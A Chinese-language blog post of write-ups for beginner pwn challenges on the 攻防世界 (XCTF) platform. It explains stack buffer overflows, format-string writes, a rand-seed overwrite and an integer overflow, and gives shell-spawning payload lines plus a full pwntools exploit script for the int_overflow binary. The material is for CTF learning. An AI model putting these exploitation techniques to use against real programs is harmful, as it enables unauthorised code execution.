攻防世界新手

2020-03-05  本文已影响0人  Hexad

就按照题目的难易程度写

新手区没有涉及到栈的相关知识,几乎是栈漏洞

get_shell

第一个题目比较简单

ida进入main函数查看,有system和bin/sh

直接nc连接就可以拿到flag

CGfsb

通过main函数可以看出,当pwnme=8,就可以拿到flag

漏洞点:格式化字符漏洞,printf()函数使用不当,造成任意内存读写,解决方法:利用%n将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

pwnme地址 偏移 exp flag

hello_pwn

main

进入主函数,双击进入sub_400686看一下

让dword_601068=1853186401然后执行sub_400686函数就可以拿到flag

read存在溢出,ida查看unk_691968和dword_60106c偏移量为4,覆盖dword_60106c值即可

when_did_you_born

输入1926自动退出,返回主函数,有gets函数,可以利用gets函数输入v5把原本v6的值覆盖然后替换成1926,

var20和var18相差0x8个字符,当v5输入大于0x8个字符,会覆盖掉v6,然后重新给v5赋值,

exp

注: 0x786的十进制是1926

level0

return返回vulnerable_function函数,进去查看一下

read存在溢出

system函数 bin/sh

思路:read溢出到system,然后执行bin/sh就可以拿到flag

system_addr

这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以要先找到rdi的地址

bin/sh-addr rdi-addr exp1

buf大小是80h,再加上ebp的8h

简单的rop原理payload = padding + retpadding为136   //十六进制88改为十进制136

exp2

函数中有callsystem函数,可以直接调用shell

callsystem-addr exp3

三个exp均能调试成功

level2

level2和level0思路相同,有system和bin/sh,read函数溢出,只是level2为32位

payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add)

guess_num

全开的一道题

and这道题没有主函数,找了半天

 需要连续猜中10次才能得到flag,但是上面函数有gets这个危险的函数

 v9经过0x20个字符就溢出到seed,那么如果把seed[0]变成我们可控的数字,就可以使v6和v8相等,得到flag

这个题有有了一个新的知识点:随机数生成的原理:https://www.jianshu.com/p/0bc6c65addfd

rand和srand:随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

关于ctype库与dll:使用python标准库中自带的ctypes模块进行python和c的混合编程

libc共享库:使用ldd查找

指定一个随机数的种子,即seed[0],然后在脚本中模拟随机数生成,再将生成的数字输入到程序中,那么就可以一直都能答对,在本题目中我们指定的seed[0]是1。

from  ctypes  import* #python标准库中自带的ctypes模块进行python和c的混合编程

int_overflow

选1可以输入名字和密码ida分析密码要3到8位否则判定无效数字,选2直接退出,v3范围是0~255,超出会造成整数溢出

3.进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;

s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可拿到flag;

from  pwn  import*

r=process('./int_overflow')

e=ELF("./int_overflow")  

what_is_this_addr=e.symbols['what_is_this']       //自动生成地址

r.recvuntil('Your choice:')

r.sendline('1')

r.recvuntil('Please input your username:')

r.sendline('aaa')

r.recvuntil('Please input your passwd:')

payload='a'*(0x14+0x4)+p32(what_is_this_addr)

payload=payload.ljust(262,'a')

r.sendline(payload)

r.interactive()

cgpwn2

看到了gets和fgets函数

name在bss段中,用fgets输入“/bin/sh“,返回地址覆盖成system的地址,再把传参(/bin/sh)到system里面即可get shell了

padding

string

printf函数处发现一个格式化字符串漏洞

回去看一下,发现v5=(_int64)v4,可以看到程序给出了这两个数,一个是68, 一个是85,并且可以看到程序会将数组的地址打印出来的,

当v4=85时,v4[0]的地址也就泄露出来了,可以利用上面发现的格式化字符串漏洞,将v3[0]改写成85,这样就可以到达v1的位置

./string
上一篇下一篇

猜你喜欢

热点阅读